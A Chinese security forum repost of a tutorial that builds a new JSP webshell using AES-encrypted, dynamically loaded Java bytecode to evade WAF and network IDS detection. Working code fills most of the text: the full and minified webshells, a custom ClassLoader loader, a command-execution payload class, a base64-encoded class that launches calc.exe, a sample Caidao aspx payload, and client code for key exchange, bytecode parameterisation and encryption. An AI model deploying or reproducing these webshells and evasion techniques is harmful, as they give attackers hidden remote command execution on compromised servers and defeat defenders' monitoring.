安全矩阵

 找回密码
 立即注册
搜索
查看: 2310|回复: 0

【原创】利用动态二进制加密实现新型一句话木马之Java篇

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-5-5 21:40:15 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2021-5-5 21:42 编辑

原文链接:【原创】利用动态二进制加密实现新型一句话木马之Java篇

概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍

前言     


一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
     一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

理论篇为什么会被拦截

在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:

Payload如下:
  1. caidao=Response.Write("->|");
  2. var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
复制代码

可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。

被动的反抗
当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……

釜底抽薪

其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:
  • 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
  • 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
  • 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
  • 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
  • 客户端解密服务器端返回的结果。
如下为执行流程图:


实现篇服务端实现

想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:
1. 服务器端动态解析二进制class文件:
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下:
  1. package net.rebeyond;   
  2. import sun.misc.BASE64Decoder;

  3. public class Demo {
  4.         public static class Myloader extends ClassLoader //继承ClassLoader
  5.         {        
  6.                 public  Class get(byte[] b)
  7.                 {
  8.                         return super.defineClass(b, 0, b.length);
  9.                 }               
  10.         }
  11.         public static void main(String[] args) throws Exception {
  12.                 // TODO Auto-generated method stub
  13.                 String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
  14.                 BASE64Decoder code=new sun.misc.BASE64Decoder();
  15.                 Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
  16.                 System.out.println(result.newInstance().toString());
  17.         }
  18. }
复制代码
上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:
  1. package net.rebeyond;
  2. import java.io.IOException;

  3. public class Payload {
  4.         @Override
  5.         public String toString() {
  6.                 // TODO Auto-generated method stub
  7.                 try {
  8.                         Runtime.getRuntime().exec("calc.exe");
  9.                 } catch (IOException e) {
  10.                         // TODO Auto-generated catch block
  11.                         e.printStackTrace();
  12.                 }
  13.                 return "OK";
  14.         }
  15. }
复制代码

简单解释一下上述代码:

  • 首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
  • 单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
  • main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
  • 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
  • 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK”
  • 在控制台打印出toString方法的返回值。
    OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:

到此,我们就可以直接动态解析并执行编译好的class字节流了。
2.生成密钥:
首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:

  1. if (request.getMethod().equalsIgnoreCase("get")) {
  2.         String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
  3.         request.getSession().setAttribute("uid", k);
  4.         out.println(k);
  5.         return;
  6. }
复制代码

这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
3.解密数据,执行:

当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:

  1. Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
  2. c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
  3. new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
复制代码

4.改进一下

前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。
重新翻看了一下Object类的方法列表:

可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。
方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?
JSP有9个内置对象:



​但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。
解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:

5.完整代码:

  1. <%@ page
  2.         import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
  3. <%!
  4. /*
  5. 定义ClassLoader的子类Myloader
  6. */
  7. public static class Myloader extends ClassLoader {
  8.         public Myloader(ClassLoader c)
  9.         {super(c);}
  10.         public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
  11.                 return super.defineClass(b, 0, b.length);
  12.         }
  13. }
  14. %>
  15. <%
  16.         if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
  17.                 String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
  18.                 request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
  19.                 out.print(k); //将密钥发送给客户端
  20.                 return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
  21.         }
  22.         /*
  23.         当请求为非握手请求时,执行下面的分支,准备解密数据并执行
  24.         */
  25.         String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
  26.         Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
  27.         Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
  28.         c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
  29.         Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
  30.         Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
  31.         String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
  32. %>
复制代码
为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:
  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
复制代码

现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:
  1. <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
复制代码

至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。
客户端实现
1.远程获取加密密钥:
客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:

  1. public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
  2.         Map<String, String> result = new HashMap<String, String>();
  3.         StringBuffer sb = new StringBuffer();
  4.         InputStreamReader isr = null;
  5.         BufferedReader br = null;
  6.         URL url = new URL(getUrl);
  7.         URLConnection urlConnection = url.openConnection();

  8.         String cookieValue = urlConnection.getHeaderField("Set-Cookie");
  9.         result.put("cookie", cookieValue);
  10.         isr = new InputStreamReader(urlConnection.getInputStream());
  11.         br = new BufferedReader(isr);
  12.         String line;
  13.         while ((line = br.readLine()) != null) {
  14.                 sb.append(line);
  15.         }
  16.         br.close();
  17.         result.put("key", sb.toString());
  18.         return result;
  19. }
复制代码

2.动态生成class字节数组:

我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:

  1. public class Cmd {

  2. public static String cmd;

  3. @Override
  4. public boolean equals(Object obj) {
  5.         // TODO Auto-generated method stub
  6.         PageContext page = (PageContext) obj;
  7.         page.getResponse().setCharacterEncoding("UTF-8");
  8.         Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
  9.         try {
  10.                 String result = "";
  11.                 if (cmd != null && cmd.length() > 0) {
  12.                         Process p;
  13.                         if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
  14.                                 p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
  15.                         } else {
  16.                                 p = Runtime.getRuntime().exec(cmd);
  17.                         }
  18.                         BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
  19.                         String disr = br.readLine();
  20.                         while (disr != null) {
  21.                                 result = result + disr + "\n";
  22.                                 disr = br.readLine();
  23.                         }
  24.                         result = new String(result.getBytes(osCharset));
  25.                         page.getOut().write(result.trim());
  26.                 }
  27.         } catch (Exception e) {
  28.                 try {
  29.                         page.getOut().write(e.getMessage());
  30.                 } catch (IOException e1) {
  31.                         // TODO Auto-generated catch block
  32.                         e1.printStackTrace();
  33.                 }
  34.         }

  35.         return true;
  36. }
复制代码

3.已编译类的参数化:

上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:

  1. public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
  2. {
  3.         byte[] result;
  4.         ClassReader classReader = new ClassReader(clsName);
  5.         final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
  6.         
  7.         classReader.accept(new ClassAdapter(cw) {

  8.                 @Override
  9.                 public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
  10.                         // TODO Auto-generated method stub
  11.                         if (params.containsKey(filedName))
  12.                         {
  13.                                 String paramValue=params.get(filedName);
  14.                                 return super.visitField(arg0, filedName, arg2, arg3, paramValue);
  15.                         }
  16.                
  17.                         return super.visitField(arg0, filedName, arg2, arg3, arg4);
  18.                 }},0);
  19.         result=cw.toByteArray();
  20.         return result;
  21. }
复制代码

我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。

4.加密payload:
利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:

  1. public static String getData(String key,String className,Map<String,String> params) throws Exception
  2. {
  3.         byte[] bincls=Params.getParamedClass(className, params);
  4.         byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
  5.         String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
  6.         return basedEncryBincls;
  7. }
复制代码

5.发送payload,接收执行结果并解密:

Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。
案例演示下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的jsp一句话木马:

然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
转存失败[url=]重新上传[/url][url=]取消[/url]
本篇完。















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:35 , Processed in 0.014776 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表